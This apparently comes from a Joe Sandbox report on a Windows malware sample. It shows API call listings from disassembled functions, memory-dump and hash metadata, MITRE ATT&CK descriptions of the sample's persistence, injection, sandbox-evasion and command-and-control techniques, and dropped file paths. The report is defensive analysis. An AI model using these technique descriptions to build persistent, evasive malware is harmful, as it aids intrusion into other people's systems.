SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,0040AA7C), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,0040AA7C), ref: 004012FD

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: 639515066c3d990516ac2a3136bef13f416b1ef9be93ad9602ec651735fa50ef
Instruction ID: ac0062008775948776803e6f6a7ba0f32bd5f245bff4d12fb7fdccc5d9a3c317
Opcode Fuzzy Hash: 639515066c3d990516ac2a3136bef13f416b1ef9be93ad9602ec651735fa50ef
Instruction Fuzzy Hash: 2AE0D872400300A5E6203639EC8DFAF759C9F40324F10893FF885711D1957C54948E6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040395F Relevance: 6.0, APIs: 4, Instructions: 19libraryloaderthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000002,?), ref: 0040396E
GetTickCount.KERNEL32 ref: 00403973
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040397A
GetCurrentThreadId.KERNEL32 ref: 00403981
LoadLibraryA.KERNEL32(0040A996,00000000,?,00000104,kernel32.dll,0040C0C0), ref: 004039A8
GetProcAddress.KERNEL32(00000000,0040A982), ref: 004039CB
LoadLibraryA.KERNEL32(0040A975,0040A996,00000000,?,00000104,kernel32.dll,0040C0C0), ref: 004039F8
GetProcAddress.KERNEL32(00000000,0040A966), ref: 00403A1B
LoadLibraryA.KERNEL32(0040A87E,0040A975,0040A996,00000000,?,00000104,kernel32.dll,0040C0C0), ref: 00403AA2

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: LibraryLoad$AddressCurrentProc$CountProcessStartupThreadTick
String ID:
API String ID: 346014211-0
Opcode ID: 81e0a7a3ed32a2f09b4fc8dcde150b868806d1002511e82e63e63fb2b7cae0ff
Instruction ID: 92df3e64cbc8e4316d11e7727b510ac81ab7519916a22fb62f80e0ec8aee54b8
Opcode Fuzzy Hash: 81e0a7a3ed32a2f09b4fc8dcde150b868806d1002511e82e63e63fb2b7cae0ff
Instruction Fuzzy Hash: C7E0C2906047014DC30077F946CA51B258CDB45358B405F3FA186F61D7DBBC8801469F

Uniqueness

Uniqueness Score: -1.00%

Function 00402056 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 004020BD
recv.WS2_32(?,?,?,00000000), ref: 004020CD

Strings

(, xrefs: 00402091

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: recvselect
String ID: (
API String ID: 741273618-3887548279
Opcode ID: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction ID: 1fcd0d6409183d73132ea75ca463baecc2b767e2b6e15ce2ca548764a2397c31
Opcode Fuzzy Hash: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction Fuzzy Hash: BA41D5701087519BD3258F25C94872BBBE4EF85320F14C62FF699AA2C1C3B99D45CB56

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe` ).
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report p4C7Gm10K3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\tmpC717.tmp

C:\Windows\SysWOW64\RECOVER32.DLL

C:\Windows\SysWOW64\ahuy.exe

C:\Windows\SysWOW64\ntdbg.exe

C:\Windows\SysWOW64\rmass.exe

C:\Windows\System32\drivers\etc\hosts

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
p4C7Gm10K3.exe

Function 00404116 Relevance: 61.4, APIs: 28, Strings: 7, Instructions: 191
registrystringsynchronizationCOMMON

Function 0040370C Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 175
libraryloadernativeCOMMON

Function 004043CE Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 124
stringfiletimeCOMMON

Function 004035CF Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 83
processlibraryloaderCOMMON

Function 00403F9D Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 66
filestringCOMMON

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77
fileCOMMON

Function 00401000 Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Function 0040233A Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 243
filestringprocessCOMMON

Function 00404A32 Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 187
registryfilestringCOMMON

Function 00401C3E Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 203
networkstringCOMMON

Function 00401A88 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 127
registryCOMMON

Function 00402646 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 139
networkstringCOMMON

Function 004014F6 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 188
filetimestringCOMMON

Function 00403AB1 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57
libraryloaderCOMMON